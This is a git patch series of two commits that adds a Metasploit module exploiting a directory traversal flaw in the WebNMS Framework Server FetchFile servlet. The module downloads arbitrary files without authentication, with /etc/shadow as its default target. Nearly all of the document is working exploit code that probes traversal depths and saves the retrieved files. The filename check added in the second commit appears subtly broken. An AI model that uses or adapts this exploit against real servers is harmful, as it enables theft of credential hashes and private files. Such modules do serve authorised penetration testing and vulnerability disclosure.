From 05ef5316df4399588c6fa5df81e58c335f029948 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 4 Jul 2016 21:10:14 +0100 Subject: [PATCH 1/2] Create exploit for WebNMS arbitrary file download --- .../admin/http/webnms_file_download.rb | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 modules/auxiliary/admin/http/webnms_file_download.rb diff --git a/modules/auxiliary/admin/http/webnms_file_download.rb b/modules/auxiliary/admin/http/webnms_file_download.rb new file mode 100644 index 0000000000..a0f9129d66 --- /dev/null +++ b/modules/auxiliary/admin/http/webnms_file_download.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WebNMS Framework Server Arbitrary Text File Download', + 'Description' => %q{ +This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an +unauthenticated user to download files off the file system by using a directory +traversal attack on the FetchFile servlet. +Note that only text files can be downloaded properly, as any binary file will get +mangled by the servlet. Also note that for Windows targets you can only download +files that are in the same drive as the WebNMS installation. +This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on +Windows and Linux. +}, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ] + ], + 'DisclosureDate' => 'Jul 4 2016')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 9090]), + OptString.new('TARGETURI', [ true, "WebNMS path", '/']), + OptString.new('FILEPATH', [ false, "The filepath of the file you want to download", '/etc/shadow']), + OptString.new('TRAVERSAL_PATH', [ false, "The traversal path to the target file (if you know it)"]), + OptInt.new('MAX_TRAVERSAL', [ false, "Maximum traversal path depth (if you don't know the traversal path)", 10]), + ], self.class) + end + + + def run + file = nil + if datastore['TRAVERSAL_PATH'] == nil + traversal_size = datastore['MAX_TRAVERSAL'] + while traversal_size > 0 + file = get_file("../" * traversal_size + datastore['FILEPATH']) + if file != nil + break + end + traversal_size -= 1 + end + else + file = get_file(datastore['TRAVERSAL_PATH']) + end + + if file == nil + print_error("#{peer} - Failed to download the specified file.") + return + else + vprint_line(file) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'webnms.http', + 'text/plain', + datastore['RHOST'], + file, + fname + ) + print_good("File download successful, file saved in #{path}") + end + end + + + def get_file(path) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'), + 'method' =>'GET', + 'vars_get' => { 'fileName' => path } + }) + if res && res.code == 200 && res.body.to_s.length > 0 && res.body.to_s =~ /File Found/ + return res.body.to_s + else + return nil + end + end +end From bbe416232001ed80fb4d351c6571a998c0edbe11 Mon Sep 17 00:00:00 2001 From: Brendan Date: Fri, 8 Jul 2016 08:27:56 -0700 Subject: [PATCH 2/2] Added error checking and some suggested style changes --- .../admin/http/webnms_file_download.rb | 142 ++++++++++-------- 1 file changed, 83 insertions(+), 59 deletions(-) diff --git a/modules/auxiliary/admin/http/webnms_file_download.rb b/modules/auxiliary/admin/http/webnms_file_download.rb index a0f9129d66..2534d3ceb2 100644 --- a/modules/auxiliary/admin/http/webnms_file_download.rb +++ b/modules/auxiliary/admin/http/webnms_file_download.rb @@ -6,14 +6,15 @@ require 'msf/core' class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'WebNMS Framework Server Arbitrary Text File Download', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'WebNMS Framework Server Arbitrary Text File Download', + 'Description' => %q( This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an unauthenticated user to download files off the file system by using a directory traversal attack on the FetchFile servlet. @@ -22,73 +23,96 @@ mangled by the servlet. Also note that for Windows targets you can only download files that are in the same drive as the WebNMS installation. This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on Windows and Linux. -}, - 'Author' => - [ - 'Pedro Ribeiro ' # Vulnerability discovery and MSF module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ] - ], - 'DisclosureDate' => 'Jul 4 2016')) - +), + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ] + ], + 'DisclosureDate' => 'Jul 4 2016' + ) + ) register_options( [ OptPort.new('RPORT', [true, 'The target port', 9090]), - OptString.new('TARGETURI', [ true, "WebNMS path", '/']), - OptString.new('FILEPATH', [ false, "The filepath of the file you want to download", '/etc/shadow']), - OptString.new('TRAVERSAL_PATH', [ false, "The traversal path to the target file (if you know it)"]), - OptInt.new('MAX_TRAVERSAL', [ false, "Maximum traversal path depth (if you don't know the traversal path)", 10]), - ], self.class) + OptString.new('TARGETURI', [ true, "WebNMS path", '/']), + OptString.new('FILEPATH', [ false, "The filepath of the file you want to download", '/etc/shadow']), + OptString.new('TRAVERSAL_PATH', [ false, "The traversal path to the target file (if you know it)"]), + OptInt.new('MAX_TRAVERSAL', [ false, "Maximum traversal path depth (if you don't know the traversal path)", 10]) + ], + self.class + ) end + def check_filename(path) + valid = true + invalid_chars = [':', '?', '*', '|', '"', '<', '>'] + invalid_chars.each do |i| + if path.include? i + valid = false + break + end + end + end def run - file = nil - if datastore['TRAVERSAL_PATH'] == nil - traversal_size = datastore['MAX_TRAVERSAL'] - while traversal_size > 0 - file = get_file("../" * traversal_size + datastore['FILEPATH']) - if file != nil - break - end - traversal_size -= 1 + if check_filename(datastore['filepath']) + file = nil + if datastore['TRAVERSAL_PATH'].nil? + traversal_size = datastore['MAX_TRAVERSAL'] + file = get_file(datastore['FILEPATH'], traversal_size) + else + file = get_file(datastore['TRAVERSAL_PATH'], 1) + end + if file.nil? + print_error("#{peer} - Failed to download the specified file.") + return + else + vprint_line(file) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'webnms.http', + 'text/plain', + datastore['RHOST'], + file, + fname + ) + print_good("File download successful, file saved in #{path}") end else - file = get_file(datastore['TRAVERSAL_PATH']) - end - - if file == nil - print_error("#{peer} - Failed to download the specified file.") - return - else - vprint_line(file) - fname = File.basename(datastore['FILEPATH']) - - path = store_loot( - 'webnms.http', - 'text/plain', - datastore['RHOST'], - file, - fname - ) - print_good("File download successful, file saved in #{path}") + print_error("Module Failed: Invalid Filename") end end - - def get_file(path) - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'), - 'method' =>'GET', - 'vars_get' => { 'fileName' => path } - }) - if res && res.code == 200 && res.body.to_s.length > 0 && res.body.to_s =~ /File Found/ - return res.body.to_s - else - return nil + def get_file(path, depth) + while depth > 0 + file_name = "../" * depth + path + vprint_status("Attempting to get file: #{file_name}") + begin + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'), + 'method' => 'GET', + 'vars_get' => { 'fileName' => file_name } + } + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Connect to the target: #{e.class} - #{e.message}") + return nil + end + if res && + res.code == 200 && + !res.body.to_s.empty? && + (res.body.to_s.include? "File Found") + return res.body.to_s + end + depth -= 1 end end end